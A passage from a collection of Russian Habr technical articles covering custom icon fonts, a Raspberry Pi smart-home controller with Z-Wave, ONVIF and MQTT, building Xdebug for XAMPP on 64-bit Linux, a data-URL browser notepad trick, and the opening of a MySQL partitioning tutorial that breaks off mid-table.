font-family: FontMoreAwesome;
content: "C";
}
```
Обратите внимание, что мы определяем иконки как псевдо-элементы, используя селектор `before`. Таким образом, мы можем внедрить нужный нам контент внутрь элемента, который использует объявленные классы.
В созданном нами шрифте FontMoreAwesome “A”, “B” и “C” обозначаются иконками для Troll, Lol и Like-a-boss соответственно. Хотя это не лучший способ сделать это.
Font Awesome использует [области для частного использования](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D0%B8_%D0%B4%D0%BB%D1%8F_%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) (Unicode Private Use Area, PUA), чтобы застраховать экранные читалки от зачитывания случайных символов, которые и представляют собой иконки.
Но, для простоты рассказа, в нашем примере мы будем держаться букв английского алфавита.
Ещё один момент, достойный упоминания — в примере выше, при внедрении на страницу своего контента, мы перезаписываем правило font-family, определённое Font Awesome.
Font More Awesome в действии
----------------------------
Наконец, загрузим этот CSS файл в наш `index.html`.
Теперь вы можете использовать эти иконки как любую другую `fa` иконку. Например, следующая иконка будет большой и крутящейся:
### На этом всё. Удачной кастомизации!
> **Прим. переводчика.** При переводе этой статьи я испытал в деле описанную практику, сделав иконки для Хабра, Гиктаймс и Тостера. Результат вы можете найти в [этом репозитории](https://github.com/MrKarlKori/habrafont). | https://habr.com/ru/post/351130/ | null | ru | null |
# Облачный Умный Дом. Часть 1: Контроллер и датчики
Сегодня, благодаря бурному развитию микроэлектроники, каналов связи, Интернет-технологий и Искусственного Интеллекта, тема умных домов становится все более и более актуальной. Человеческое жилище претерпело существенные изменения со времен каменного века и в эпоху Промышленной Революции 4.0 и Интернета Вещей стало удобным, функциональным и безопасным. На рынок приходят решения, превращающие квартиру или загородный дом в сложные информационные системы, управляемые из любой точки мира с помощью смартфона. Причем, для человеко-машинного взаимодействия уже не требуются знания языков программирования, — благодаря алгоритмам распознавания и синтеза речи человек говорит с умным домом на родном языке.
Некоторые системы умного дома, представленные сейчас на рынке, являются логичным развитием систем облачного видеонаблюдения, разработчики которых осознали необходимость в комплексном решении не только для контроля, но и для управления удаленными объектами.
Вашему вниманию предлагается цикл из трех статей, где будет рассказано о всех основных компонентах системы облачного умного дома, лично разработанной автором и запущенной в эксплуатацию. Первая статья посвящена оконечному клиентскому оборудованию, устанавливаемому внутри умного дома, вторая — архитектуре системы облачного хранения и обработки данных, и, наконец, третья — клиентскому приложению для управления системой на мобильных и стационарных устройствах.
Оборудование для умного дома
============================
Сперва поговорим о том, как из обыкновенной квартиры, дачи или коттеджа сделать умный дом. Для этого, как правило, требуется разместить в жилище следующее оборудование:
1. датчики, измеряющие различные параметры внешней среды;
2. исполнительные устройства, воздействующие на внешние объекты;
3. контроллер, производящий вычисления в соответствии с измерениями датчиков и заложенной логикой, и выдающий команды для исполнительных устройств.
На следующем рисунке показана схема умного дома, на которой расположены датчики протечки воды (1) в ванной, температуры (2) и освещения (3) в спальне, умная розетка (4) на кухне и камера видеонаблюдения (5) в прихожей.
В настоящее время широкое распространение получили беспроводные датчики, работающие по протоколам RF433, Z-Wave, ZigBee, Bluetooth и WiFi. Их главные преимущества — удобство монтажа и использования, а также дешевизна и надежность, т.к. производители стремятся вывести свои устройства на массовый рынок и сделать их доступными рядовому пользователю.
Датчики и исполнительные устройства, как правило, подключаются по беспроводному интерфейсу к контроллеру умного дома (6) — специализированному микрокомпьютеру, объединяющему все эти устройства в единую сеть и управляющему ими.
Впрочем, некоторые решения могут совмещать в себе датчик, исполнительное устройство и контроллер одновременно. Например, умная розетка может быть запрограммирована на включение или выключение по расписанию, а камера облачного видеонаблюдения умеет записывать видео по сигналу детектора движения. В простейших случаях можно обойтись без отдельного контроллера, но для создания гибкой системы со множеством сценариев он необходим.
Для подключения контроллера умного дома к глобальной сети может быть использован обычный Интернет-роутер (7), который уже давно стал привычным бытовым прибором в любом доме. Здесь есть еще один аргумент в пользу контроллера умного дома — если пропадет связь с Интернет, то умный дом продолжит работу в штатном режиме благодаря блоку логики, хранящейся внутри контроллера, а не в облачном сервисе.
Контроллер умного дома
======================
Контроллер для системы облачного умного дома, рассматриваемой в данной статье, разработан на основе одноплатного микрокомпьютера [Raspberry Pi 3 model B+](https://www.raspberrypi.org/products/raspberry-pi-3-model-b-plus/), который был выпущен в марте 2018 года и обладает достаточными ресурсами и производительностью для задач умного дома. В его состав входит четырехядерный процессор Cortex-A53 на 64-битной архитектуре ARMv8-A, с тактовой частотой 1.4 ГГц, а также 1 ГБ ОЗУ, Wi-Fi 802.11ac, Bluetooth 4.2 и гигабитный адаптер Ethernet, работающий через шину USB 2.0.
Сборка контроллера очень проста — микрокомпьютер (1) устанавливается в пластиковый корпус (2), далее в него в соответствующие слоты устанавливается 8 ГБ карта памяти в формате microSD с программным обеспечением (3) и USB-контроллер сети Z-Wave (4). Контроллер умного дома подключается к электросети через адаптер питания 5В, 2.1А (5) и кабель USB — micro-USB (6). Каждый контроллер имеет уникальный идентификационный номер, который записывается в файле конфигурации при первом запуске и необходим для взаимодействия с сервисами облачного умного дома.
Программное обеспечение контроллера умного дома разработано автором данной статьи на основе операционной системы **Linux Raspbian Stretch**. Оно состоит из следующих основных подсистем:
* серверного процесса для взаимодействия с оборудованием умного дома и облаком;
* графического интерфейса пользователя для настройки конфигурации и рабочих параметров контроллера;
* базы данных для хранения конфигурации контроллера.
**База данных** контроллера умного дома реализована на основе встраиваемой СУБД [SQLite](https://www.sqlite.org/index.html) и представляет собой файл на SD-карте с системным ПО. Она служит хранилищем конфигурации контроллера — информации о подключенном оборудовании и его текущем состоянии, блока логических продукционных правил, а также информации, требующей индексации (например, имен файлов локального видеоархива). При перезагрузке контроллера эта информация сохраняется, что делает возможным восстановление работоспособности контроллера в случае сбоев электропитания.
**Графический интерфейс** контроллера умного дома разработан на языке PHP 7 с использованием микрофреймворка [Slim](http://www.slimframework.com). За работу приложения отвечает веб-сервер [lighttpd](https://www.lighttpd.net), часто применяющийся во встраиваемых устройствах благодаря своей хорошей производительности и низким требованиям к ресурсам.
[](https://habrastorage.org/webt/qn/ai/pa/qnaipas9rfbpl0yfsrihah1i0ty.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Основной функцией графического интерфейса является подключение оборудования умного дома (IP-камер видеонаблюдения и датчиков) к контроллеру. Веб-приложение считывает конфигурацию и текущее состояние контроллера и подключенных к нему устройств из БД SQLite. Для изменения конфигурации контроллера оно посылает управляющие команды в формате JSON через интерфейс RESTful API серверного процесса.
Серверный процесс
=================
**Серверный процесс** — ключевой компонент, выполняющий всю основную работу по автоматизации информационных процессов, составляющих основу умного дома: получение и обработку сенсорных данных, выдачу управляющих воздействий в зависимости от заложенной логики. Назначение серверного процесса — взаимодействие с оборудованием умного дома, выполнение продукционных логических правил, получение и обработка команд от графического интерфейса и облака. Серверный процесс в рассматриваемом контроллере умного дома реализован как многопоточное приложение, разработанное на языке С++ и запускаемое как отдельный сервис **systemd** операционной системы **Linux Raspbian**.
Основными блоками серверного процесса являются:
1. Диспетчер сообщений;
2. Сервер IP-камеры;
3. Сервер устройств Z-Wave;
4. Сервер продукционных логических правил;
5. База Данных конфигурации контроллера и блока логических правил;
6. RESTful API сервер для взаимодействия с графическим интерфейсом;
7. MQTT клиент для взаимодействия с облаком.
Блоки серверного процесса реализованы как отдельные потоки, информация между которыми передается в виде сообщений в формате JSON (или структур данных, представляющих этот формат в памяти процесса).
Главным компонентом серверного процесса является **диспетчер сообщений**, который маршрутизирует сообщения в формате JSON для всех блоков серверного процесса. Типы информационных полей JSON-сообщения и значения, которые они могут принимать, перечислены в таблице:
| deviceType | protocol | messageType | deviceState | command |
| --- | --- | --- | --- | --- |
| camera | onvif | sensorData | on | streaming(On/Off) |
| sensor | zwave | command | off | recording(On/Off) |
| effector | mqtt | businessLogicRule | streaming(On/Off) | evice(Add/Remove) |
| | businessLogic | configurationData | recording(On/Off) | |
| | bluetooth | deviceState | error | |
| | wifi | | | |
| | rf | | | |
Например, сообщение от детектора движения камеры выглядит следующим образом:
```
{
"vendor": "*****",
"version": "3.0.0",
"timestampMs": "1566293475475",
"clientType": "gateway",
"deviceId": "1616453d-30cd-44b7-9bf0-************",
"deviceType": "camera",
"protocol": "onvif",
"messageType": "sensorData",
"sensorType": "camera",
"label": "motionDetector",
"sensorData": "on"
}
```
Продукционная логика
====================
Чтобы получить или отправить сообщение от диспетчера, блок серверного процесса подписывается на сообщения определенного типа. Подписка представляет собой продукционное логическое правило типа *«Если …, то … »*, представленное в JSON формате, и ссылку на обработчик сообщения внутри блока серверного процесса. Например, чтобы сервер IP-камеры мог получать команды от графического интерфейса и облака, нужно добавить следующее правило:
```
{
"if": {
"and": [{
"equal": {
"deviceId": "1616453d-30cd-44b7-9bf0-************"
}
},
{
"equal": {
"messageType": "command"
}
}
]
},
"then": {
"result": "true"
}
}
```
Если условия, указанные в **антецеденте** (левой части) правила являются истинными, то выполняется **консиквент** (правая часть) правила, и обработчик получает доступ к телу JSON-сообщения. В антецеденте поддерживаются логические операторы, выполняющие сравнение JSON-пар «ключ-значение»:
1. равно «equal»;
2. не равно «not\_equal»;
3. меньше «less»;
4. больше «greater»;
5. меньше или равно «less\_or\_equal»;
6. больше или равно «greater\_or\_equal».
Результаты сравнения можно связывать между собой с помощью операторов булевой алгебры:
1. И «and»;
2. ИЛИ «or»;
3. НЕ «not».
Таким образом, записывая операторы и операнды в польской нотации, можно формировать достаточно сложные условия с большим количеством параметров.
Точно такой же механизм, основанный на JSON-сообщениях и правилах продукций в JSON формате, применяется в блоке сервера продукционной логики для представления знаний и осуществления логического вывода с использованием сенсорных данных с датчиков умного дома.
Пользователь с помощью мобильного приложения составляет сценарии, по которым должен функционировать умный дом. Например: *«Если сработал датчик открытия входной двери, то включить свет в прихожей»*. Приложение считывает из базы данных идентификаторы датчиков (датчик открытия) и исполнительных устройств (умная розетка или умная лампа) и формирует логическое правило в формате JSON, которое пересылается в контроллер умного дома. Более подробно этот механизм будет рассмотрен в третьей статье нашего цикла, где пойдет речь о клиентском приложении для управления умным домом.
Рассмотренный выше механизм продукционной логики реализован с помощью библиотеки [RapidJSON](http://rapidjson.org) — SAX-парсера формата JSON на языке С++. Последовательное чтение и разбор массива продукционных правил позволяет легко реализовать функцию сопоставления данных внутри антецедентов:
```
void CRuleEngine::Process(PProperties pFact)
{
m_pActions->clear();
rapidjson::Reader reader;
for(TStringMap::value_type& rRule : m_Rules)
{
std::string sRuleId = rRule.first;
std::string sRuleBody = rRule.second;
CRuleHandler ruleHandler(pFact);
rapidjson::StringStream ruleStream(sRuleBody.c_str());
rapidjson::ParseResult parseResult = reader.Parse(ruleStream, ruleHandler);
if(!parseResult)
{
m_Logger.LogMessage(
NLogger2::ePriorityLevelError,
std::string("JSON parse error"),
"CRuleEngine::Process()",
std::string("RuleId: ") + sRuleId);
}
PProperties pAction = ruleHandler.GetAction();
if(pAction)
{
pAction->Set("ruleId", sRuleId);
m_pActions->push_back(pAction);
}
}
}
```
Здесь **pFact** — структура, содержащая пары «ключ-значение» из JSON-сообщения, **m\_Rules** — строковый массив продукционных правил. Сопоставление входящего сообщения и правила продукции производится в функции **reader.Parse(ruleStream, ruleHandler)**, где **ruleHandler** — это объект, содержащий логику булевых операторов и операторов сравнения. **sRuleId** — уникальный идентификатор правила, благодаря которому возможно хранить и редактировать правила внутри базы данных контроллера умного дома. **m\_pActions** — массив с результатами логического вывода: JSON-сообщениями, содержащими консиквенты из базы правил и пересылаемые далее в диспетчер сообщений, чтобы потоки-подписчики могли их обработать.
Производительность RapidJSON сопоставима с функцией **strlen()**, а минимальные требования к системным ресурсам позволяют использовать эту библиотеку во встраиваемых устройствах. Использование сообщений и логических правил в JSON-формате позволяет реализовать гибкую систему информационного обмена между всеми компонентами контроллера умного дома.
Датчики и исполнительные устройства Z-Wave
------------------------------------------
Главное преимущество умного дома в том, что он умеет самостоятельно измерять различные параметры внешней среды и выполнять полезные функции в зависимости от ситуации. Для этого к контроллеру умного дома подключаются датчики и исполнительные устройства. В текущей версии — это беспроводные устройства, работающие по протоколу [Z-Wave](https://ru.wikipedia.org/wiki/Z-Wave) на специально выделенной частоте **869 МГц** для России. Для своей работы они объединяются в mesh-сеть, в которой присутствуют ретрансляторы сигнала, чтобы увеличить зону покрытия. Также устройства имеют специальный режим энергосбережения — большую часть времени они проводят в спящем режиме и отправляют информацию только при изменении своего состояния, что позволяет существенно продлить жизнь встроенной батареи.
На рынке сейчас можно найти достаточно большое количество различных устройств Z-Wave. В качестве примера рассмотрим несколько:
1. Умная розетка Zipato PAN16 может измерять следующие параметры: потребление электроэнергии (кВт/ч), мощность (Вт), напряжение (В) и ток (А) в электросети. Также она имеет встроенный выключатель, с помощью которого можно управлять подключенным электроприбором;
2. Датчик протечки Neo Coolcam определяет наличие разлитой жидкости по замыканию контактов выносного щупа;
3. Датчик задымления Zipato PH-PSG01 срабатывает при попадании частиц дыма в камеру газоанализатора;
4. Датчик движения Neo Coolcam анализирует инфракрасное излучение тела человека. Дополнительно имеется датчик освещенности (Лк);
5. Мультисенсор Philio PST02-A измеряет температуру (°C), освещенность (%), открытие двери, присутствие человека в помещении;
6. Контроллер сети Z-Wave USB Stick ZME E UZB1, к которому подключаются датчики.
Очень важно, чтобы устройства и контроллер работали на одной частоте, — иначе они, по-просту, не увидят друг-друга в момент подключения. К одному контроллеру сети Z-Wave можно подключить до 232 устройств, что вполне достаточно для квартиры или загородного дома. Для расширения зоны покрытия сети внутри помещения умная розетка может быть использована как ретранслятор сигнала.
В серверном процессе контроллера умного дома, рассмотренном в предыдущем пункте, за взаимодействие с устройствами Z-Wave отвечает сервер Z-Wave. Для получения информации с датчиков он использует библиотеку [OpenZWave](http://www.openzwave.net) на языке С++, которая предоставляет интерфейс для взаимодействия с USB-контроллером сети Z-Wave и работает со множеством датчиков и исполнительных устройств. Значение параметра внешней среды, измеренной датчиком, записывается сервером Z-Wave в виде JSON-сообщения:
```
{
"vendor": "*****",
"version": "3.0.0",
"timestampMs": "1566479791290",
"clientType": "gateway",
"deviceId": "20873eb0-dd5e-4213-a175-************",
"deviceType": "sensor",
"protocol": "zwave",
"messageType": "sensorData",
"homeId": "0xefa0cfa7",
"nodeId": "20",
"sensorType": "METER",
"label": "Voltage",
"sensorData": "229.3",
"units": "V"
}
```
Далее оно пересылается в диспетчер сообщений серверного процесса, чтобы потоки-подписчики могли его получить. Основным подписчиком является сервер продукционной логики, который сопоставляет значения полей сообщения в антецедентах логических правил. Результаты логического вывода, содержащие команды управления, пересылаются обратно в диспетчер сообщений и оттуда попадают в сервер Z-Wave, который их декодирует и отсылает в USB-контроллер сети Z-Wave. Далее они попадают в исполнительное устройство, которое меняет состояние объектов внешней среды, и умный дом, таким образом, совершает полезную работу.
[](https://habrastorage.org/webt/_u/st/su/_ustsum1leec1neuurot4epbpm4.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Подключение устройств Z-Wave производится в графическом интерфейсе контроллера умного дома. Для этого нужно перейти на страничку со списком устройств и нажать кнопку «Добавить». Команда добавления через интерфейс RESTful API попадает в серверный процесс и, затем, пересылается диспетчером сообщений серверу Z-Wave, который переводит USB-контроллер сети Z-Wave в специальный режим добавления устройств. Далее, на устройстве Z-Wave нужно произвести серию быстрых нажатий (3 нажатия в течении 1,5 секунд) сервисной кнопки. USB-контроллер подключает устройство в сеть и отправляет информацию о нем в сервер Z-Wave. Тот, в свою очередь, создает новую запись в БД SQLite с параметрами нового устройства. Графический интерфейс по истечении заданного интервала времени возвращается на страничку списка устройств Z-Wave, считывает информацию из БД и отображает новое устройство в списке. Каждое устройство при этом получает свой уникальный идентификатор, который используется в правилах продукционного логического вывода и при работе в облаке. Работа этого алгоритма показана на UML-диаграмме:
[](https://habrastorage.org/webt/nz/uu/4u/nzuu4u7biupzlni_4s8x6-oxrym.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Подключение IP-камер
--------------------
Система облачного умного дома, рассматриваемая в данной статье, является модернизацией системы облачного видеонаблюдения, также разработанной автором, которая уже несколько лет присутствует на рынке и имеет множество инсталляций в России.
Для систем облачного видеонаблюдения одной из острых проблем является ограниченный выбор оборудования, с которым можно произвести интеграцию. Программное обеспечение, отвечающее за подключение к облаку, устанавливается внутри видеокамеры, что сразу же предъявляет серьезные требования к ее аппаратной начинке — процессору и количеству свободной памяти. Этим, главным образом, и объясняется более высокая цена камер облачного видеонаблюдения по сравнению с обычными IP-камерами. Кроме этого, требуется длительный этап переговоров с компаниями-производителями камер видеонаблюдения для получения доступа к файловой системе камеры и всех необходимых средств разработки.
С другой стороны, все современные IP-камеры имеют стандартные протоколы для взаимодействия с другим оборудованием (в частности, видеорегистраторами). Таким образом, использование отдельного контроллера, осуществляющего подключение по стандартному протоколу и трансляцию видеопотоков с IP-камер в облако, предоставляет существенные конкурентные преимущества для систем облачного видеонаблюдения. Более того, если у клиента была уже установлена система видеонаблюдения на основе простых IP-камер, то появляется возможность ее расширения и превращения в полноценный облачный умный дом.
Самый популярный протокол для систем IP-видеонаблюдения, поддерживаемый сейчас всеми без исключения производителями IP-камер, — это [ONVIF Profile S](https://www.onvif.org/), спецификации которого существуют на языке описания веб-сервисов [WSDL](https://www.w3.org/TR/wsdl/). С помощью утилит из инструментария [gSOAP](https://en.wikipedia.org/wiki/GSOAP) возможно сгенерировать исходный код сервисов, работающих с IP-камерами:
```
$ wsdl2h -o onvif.h \
https://www.onvif.org/ver10/device/wsdl/devicemgmt.wsdl \
https://www.onvif.org/ver10/events/wsdl/event.wsdl \
https://www.onvif.org/ver10/media/wsdl/media.wsdl \
https://www.onvif.org/ver20/ptz/wsdl/ptz.wsdl
$ soapcpp2 -Cwvbj -c++11 -d cpp_files/onvif -i onvif.h
```
В результате мы получаем набор заголовочных «\*.h» и исходных «\*.cpp» файлов на языке С++, который можно поместить прямо в приложение или отдельную библиотеку и откомпилировать с помощью компилятора GCC. Из-за множества функций код получается большим и требует дополнительной оптимизации. Микрокомпьютер Raspberry Pi 3 model B+ обладает достаточной производительностью, чтобы исполнять этот код, но в случае, если возникнет необходимость портировать код на другую платформу, необходимо правильно подобрать процессорную архитектуру и системные ресурсы.
IP-камеры, поддерживающие стандарт ONVIF, при функционировании в локальной сети подключаются к специальной мультикастовой группе с адресом **239.255.255.250**. Существует протокол [WS-Discovery](http://docs.oasis-open.org/ws-dd/discovery/1.1/os/wsdd-discovery-1.1-spec-os.html), который позволяет автоматизировать поиск устройств в локальной сети.
В графическом интерфейсе контроллера умного дома реализована функция поиска IP-камер на языке PHP, который очень удобен при взаимодействии с веб-сервисами посредством XML-сообщений. При выборе пунктов меню *Устройства > IP-камеры > Сканирование* запускается алгоритм поиска IP-камер, выводящий результат в виде таблицы:
[](https://habrastorage.org/webt/28/ak/q6/28akq6cofvtzbneikirn5qgv3-a.png)
(кликните на картинку, чтобы открыть в большем разрешении)
При добавлении камеры в контроллер можно указать настройки, в соответствии с которыми она будет взаимодействовать с облаком. Также на этом этапе ей автоматически присваивается уникальный идентификатор устройства, по которому ее в дальнейшем можно будет легко иденифицировать внутри облака.
Далее формируется сообщение в формате JSON, содержащее все параметры добавляемой камеры, и отправляется в серверный процесс контроллера умного дома через команду RESTful API, где параметры камеры декодируются и сохраняются во внутренней БД SQLite, а также используются для запуска следующих потоков обработки:
1. установления RTSP-соединения для получения видео и аудио потоков;
2. транскодирования аудио из форматов G.711 mu-Law, G.711 A-Law, G.723, итд. в формат AAC;
3. транскодирования потоков видео в формате H.264 и аудио в формате AAC в контейнер FLV и передача его в облако по протоколу RTMP;
4. установления соединения с конечной точкой детектора движения IP-камеры по протоколу ONVIF и ее периодический опрос;
5. периодической генерации уменьшенного изображения предварительного просмотра (preview) и пересылке его в облако по протоколу MQTT;
6. локальной записи видео и аудио потоков в виде отдельных файлов в формате MP4 на SD- или Flash-карту контроллера умного дома.
Для установления соединения с камерами, транскодирования, обработки и записи видеопотоков в серверном процессе используются функции из библиотеки [FFmpeg](https://ffmpeg.org/) 4.1.0.
В эксперименте на тестирование производительности к контроллеру были подключены 3 камеры:
1. HiWatch DS-I114W (разрешение — 720p, формат сжатия — H.264, битрейт — 1 Mb/s, звук G.711 mu-Law);
2. Microdigital MDC-M6290FTD-1 (разрешение — 1080p, формат сжатия — H.264, битрейт — 1 Mb/s, без звука);
3. Dahua DH-IPC-HDW4231EMP-AS-0360B (разрешение — 1080p, формат сжатия — H.264, битрейт — 1.5 Mb/s, звук AAC).
Все три потока одновременно выводились в облако, транскодирование звука осуществлялось только с одной камеры, запись локального архива была отключена. Загрузка CPU составила примерно 5%, использование RAM — 32 МБ (на процесс), 56 МБ (всего вместе с ОС).
Таким образом, к контроллеру умного дома можно подключить примерно 20 — 30 камер (в зависимости от разрешения и битрейта), что достаточно для системы видеонаблюдения трехэтажного коттеджа или небольшого склада. В задачах, где требуется большая производительность, можно использовать неттоп с многоядерным процессором Intel и ОС Linux Debian Sarge. В настоящее время контроллер проходит опытную эксплуатацию, и данные о производительности его работы будут уточняться.
Взаимодействие с облаком
------------------------
Облачный умный дом хранит пользовательские данные (видео и измерения датчиков) в облаке. Более подробно архитектура облачного хранилища будет рассмотрена в следующей статье нашего цикла. Сейчас поговорим об интерфейсе передачи информационных сообщений от контроллера умного дома в облако.
Состояния подключенных устройств и измерения датчиков передаются по протоколу [MQTT](http://mqtt.org/), который часто применяется в проектах Интернета Вещей из-за простоты и энергоэффективности. MQTT использует клиент-серверную модель, когда клиенты подписываются на определенные топики внутри брокера и публикуют свои сообщения. Брокер рассылает сообщения всем подписчикам по правилам, определяемым уровнем QoS (Quality of Service):
* QoS 0 — максимум один раз (нет гарантии доставки);
* QoS 1 — хотя бы один раз (с подтверждением доставки);
* QoS 2 — ровно один раз (с дополнительным подтверждением доставки).
В нашем случае в качестве MQTT-брокера используется [Eclipse Mosquitto](http://mosquitto.org). Именем топика является уникальный идентификатор контроллера умного дома. MQTT-клиент внутри серверного процесса подписывается на данный топик и транслирует в него JSON-сообщения, приходящие от диспетчера сообщений. И, наоборот, сообщения из MQTT-брокера пересылаются им в диспетчер сообщений, который далее мультиплексирует их своим подписчикам внутри серверного процесса:
Для передачи сообщений о состоянии контроллера умного дома используется механизм сохраненных сообщений [retained messages](https://www.hivemq.com/blog/mqtt-essentials-part-8-retained-messages/) протокола MQTT. Это позволяет правильно отслеживать моменты переподключений при сбоях электропитания.
MQTT-клиент был разработан на основе реализации библиотеки [Eclipse Paho](https://www.eclipse.org/paho) на языке С++.
Медиапотоки H.264 + AAC отправляются в облако по протоколу RTMP, где за их обработку и хранение отвечает кластер медиасерверов. Для оптимального распределения нагрузки в кластере и выбора наименее загруженного медиасервера контроллер умного дома делает предварительный запрос к облачному балансировщику нагрузки и только после этого отправляет медиапоток.
Заключение
==========
В статье была рассмотрена одна конкретная реализация контроллера умного дома на базе микрокомпьютера Raspberry Pi 3 B+, который умеет получать, обрабатывать информацию и управлять оборудованием по протоколу Z-Wave, взаимодействовать с IP-камерами по протоколу ONVIF, а также обменивается данными и командами с облачным сервисом по протоколам MQTT и RTMP. Разработан движок продукционной логики на основе сопоставления логических правил и фактов, представленных в JSON формате.
Сейчас контроллер умного дома проходит опытную эксплуатацию на нескольких объектах в Москве и Подмосковье.
В следующей версии контроллера планируется подключение устройств других типов (RF, Bluetooth, WiFi, проводные). Для удобства пользователей процедура подключения датчиков и IP-камер будет перенесена в мобильное приложение. Также есть идеи по оптимизации кода серверного процесса и портировании программного обеспечения на операционную систему [OpenWrt](https://openwrt.org/). Это позволит сэкономить на отдельном контроллере и перенести функционал умного дома в обычный бытовой роутер. | https://habr.com/ru/post/467219/ | null | ru | null |
# XAMPP on Linux + Xdebug (Linux 64bit)
Итак, сегодня мне удалось поставить XDebug на XAMPP for Linux. Если у вас 32-битный Линукс, можете не читать оставшийся текст, для вас есть простое решение, и не одно, которое можно с легкостью найти в Сети.
О безумных благах дебаггера для ПХП даже не нужно рассказывать. На 64-битной висте/виндоус7 хдебаг никак не хотел работать (обваливалась виста; для семерки не было скомпиленной версии библиотеки)
Для тех, кто не знает:
[XAMPP](http://www.apachefriends.org/en/xampp.html) — пакет программ из apache+mysql+php+perl+proftpd+…
[XDebug](http://xdebug.org/download.php) — библиотека для РНР. Позволяет отчищать от лажи скрипты на РНР. (В основном используют вкупе с IDE, например Eclipse+PDT. Позволяет расставлять брейкпоинты, отлаживать пошагово и смотреть содержимое переменных)
Если вы попали сюда из поиска, то вас мало интересуют мои приключения и поиски, поэтому сразу к делу.
**Update:** Дорогие будущие читатели, эта статья для вас, если:
\* Вам часто нужно переключаться между разными конфигурациями веб-сервера (напирмер PHP4/5.2/5.3) или вы по другим причинам пользуетесь XAMPP под Линукс.
\* Вам нужен XDebug
\* У вас 64-битный Линух
\* К моменту когда вы начнете читать этот пост не существует 64битного ХАМРР.
Остальные, можете не читать. Я не сравниваю ХАМРР с другими существующими решениями, просто он у меня есть, я с удовольствием пользуюсь. Я покопался в сети и не нашел решения для моей проблемы, поэтому решил поделиться с вами тут.
Система
-------
Linux: Ubuntu 9.10 Karmic Koala 64bit
XAMPP: v1.7.1 (with PHP 5.2.9) — думаю, для другой версии процесс будет очень похожим.
Установка XAMPP
---------------
Идем сюда, выбираем нужную версию
[sourceforge.net/projects/xampp/files](http://sourceforge.net/projects/xampp/files/)
В моем случае — это XAMPP Linux/1.7.1
Выкачиваем файлы (допустим в каталог ~/Downloads/xampp/):
\* **xampp-linux-devel-\*.tar.gz** — содержит нужные для компиляции xdebug заголовочные файлы
\* xampp-linux-\*.tar.gz — сам XAMPP
Устанавливаем Ксамп и библиотеки в папку /opt
`# cd ~/Downloads/xampp
# sudo tar xzf xampp-linux-1.7.1.tar.gz -C /opt
# sudo tar xzf xampp-linux-devel-1.7.1.tar.gz -C /opt`
Качаем xdebug
-------------
Вот отсюда: [xdebug.org/download.php](http://xdebug.org/download.php)
выкачиваем исходники необходимой версии (я выкачал 2.1.0RC0 и 2.0.5). Я скачал в ~/Downloads/xdebug/
Распаковываем
`# tar xzf xdebug*
# cd xdebug*`
Установка других библиотек
--------------------------
Честно говоря, даже не знаю, нужны ли они на самом деле. Но для того, чтобы [скомпилить ФФ для 32-бит из 64](https://developer.mozilla.org/en/Compiling_32-bit_Firefox_on_a_Linux_64-bit_OS) вроде как нужны
`# sudo apt-get install ia32-libs gcc-multilib`
Настраиваем переменные окружения
--------------------------------
Почему-то phpize наотрез отказывался работать, жалуясь на $PHP\_AUTOCONFIG и $PHP\_AUTOHEADER без следующей вещи:
\* Открываем ~/.bashrc
\* Вконце дописываем строчку:
`export PATH=/opt/lampp/bin:$PATH`
Теперь уже в шелле:
`# export PATH=/opt/lampp/bin:$PATH
# export PKG_CONFIG_LIBDIR=/usr/lib/pkgconfig
# export CC="gcc -m32"
# export CXX="g++ -m32"`
Собираем Xdebug для 32-бит
--------------------------
`# phpize
# ./configure --enable-xdebug --with-php-conig=/opt/lampp/bin/php-config --x-libraries=/usr/lib --target=i686-pc-linux
# make`
Копируем в папку к Ксампу
`# sudo cp modules/xdebug.so /opt/lampp/lib/php/extensions/`
Конфигурируем PHP
-----------------
`# sudo gedit /opt/lampp/etc/php.ini`
Включаем библиотеку (я добавил это на 545 строке)
`zend_extension="/opt/lampp/lib/php/extensions/xdebug.so"`
Запуск/перезапуск и проверка
----------------------------
`# sudo /opt/lampp/lampp restart
# /opt/lampp/bin/php -i | grep xdebug
xdebug
xdebug support => enabled
xdebug.auto_trace => Off => Off
xdebug.collect_includes => On => On
xdebug.collect_params => 0 => 0
xdebug.collect_return => Off => Off
xdebug.collect_vars => Off => Off
xdebug.default_enable => On => On
xdebug.dump.COOKIE => no value => no value
xdebug.dump.ENV => no value => no value
...
и т.д.`
Счастливой отладки!
P.S.: можно удалить добавленную строчку из ~/.bashrc | https://habr.com/ru/post/91575/ | null | ru | null |
# Как превратить браузер в notepad за 1 секунду
Открыть новую закладку, скопировать в адресную строку
```
data:text/html,
```
и нажать Enter.
Вуаля.
При клике на белом поле появляется курсор, и можно писать мысли, заметки, наблюдения. Романы, стихи…
Можно печатать написанное, можно сохранять в текстовый файл (для корректного сохранения русского языка необходимо сначала выставить правильную кодировку у страницы). | https://habr.com/ru/post/167677/ | null | ru | null |
# Партиционирование таблиц в mySQL
Начиная с версии 5.1 mySQL поддерживает горизонтальное партицирование таблиц. Что это такое? **Партиционирование (partitioning) — это разбиение больших таблиц на логические части по выбранным критериям.**. На нижнем уровне для myISAM таблиц, это физически разные файлы, по 3 на каждую партицию (описание таблицы, файл индексов, файл данных). Для innoDB таблиц в конфигурации по умолчанию – разные пространства таблиц в файлах innoDB (не забываем, что innoDB позволяет настраивать индивидуальные хранилища на уровне баз данных или даже конкретных таблиц).
**Как это выглядит?**
`CREATE TABLE orders_range (
customer_surname VARCHAR(30),
store_id INT,
salesperson_id INT,
order_date DATE,
note VARCHAR(500)
) ENGINE = MYISAM
PARTITION BY RANGE( YEAR(order_date) ) (
PARTITION p_old VALUES LESS THAN(2008),
PARTITION p_2008 VALUES LESS THAN(2009),
PARTITION p_2009 VALUES LESS THAN(MAXVALUE)
);`
Что мы получаем? Первая «таблица» будет хранить данные за «архивный» период, до 2008го года, вторая — за 2008й год, и «третья» — все остальное.
Самое вкусное — запросы при этом совершенно не надо переписывать/оптимизировать:
`select * from orders_range where order_date='2009-08-01';`
И вот что при этом происходит:
`mysql> explain partitions select * from orders_range3 where order_date='2008-08-01';
+----+-------------+---------------+------------+--------+---------------+------+---------+------+------+-------+
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | Extra |
